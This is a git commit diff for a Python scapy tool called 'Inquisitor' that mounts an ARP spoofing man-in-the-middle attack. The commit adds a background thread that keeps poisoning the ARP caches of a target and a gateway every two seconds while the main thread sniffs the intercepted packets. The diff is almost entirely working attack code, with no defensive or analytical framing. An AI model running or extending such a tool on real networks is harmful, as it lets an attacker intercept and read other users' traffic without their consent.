Implement continuous ARP poisoning in a separate thread and enhance packet sniffing

This commit is contained in:
whaffman 2025-07-11 13:41:41 +02:00
parent 2735b2ef15
commit 85f38b389d

View File

@ -4,6 +4,8 @@
import argparse
import signal
from scapy.all import get_if_hwaddr, conf, ARP, send, sniff
import threading
import time
def my_mac():
"""
@ -63,11 +65,37 @@ def start_sniffing(interface=conf.iface):
def continuous_arp_poisoning(target_ip, target_mac, gateway_ip, gateway_mac, stop_event):
"""
Continuously send ARP poisoning packets in a separate thread
"""
print("Starting continuous ARP poisoning...")
packet_count = 0
while not stop_event.is_set():
try:
mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac())
print(f"[ARP] Sent poisoning packets", flush=True)
time.sleep(2) # Send ARP packets every 2 seconds
except Exception as e:
print(f"[ERROR] ARP poisoning error: {e}", flush=True)
time.sleep(1)
def run(target_ip, target_mac, gateway_ip, gateway_mac):
try:
while True:
mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac())
start_sniffing()
# Create stop event for threads
stop_event = threading.Event()
# Start ARP poisoning in background thread
arp_thread = threading.Thread(
target=continuous_arp_poisoning,
args=(target_ip, target_mac, gateway_ip, gateway_mac, stop_event)
)
arp_thread.daemon = True
arp_thread.start()
# Start packet sniffing in main thread
print("Starting packet sniffing...")
start_sniffing()
except KeyboardInterrupt:
print("Stopping the Inquisitor...")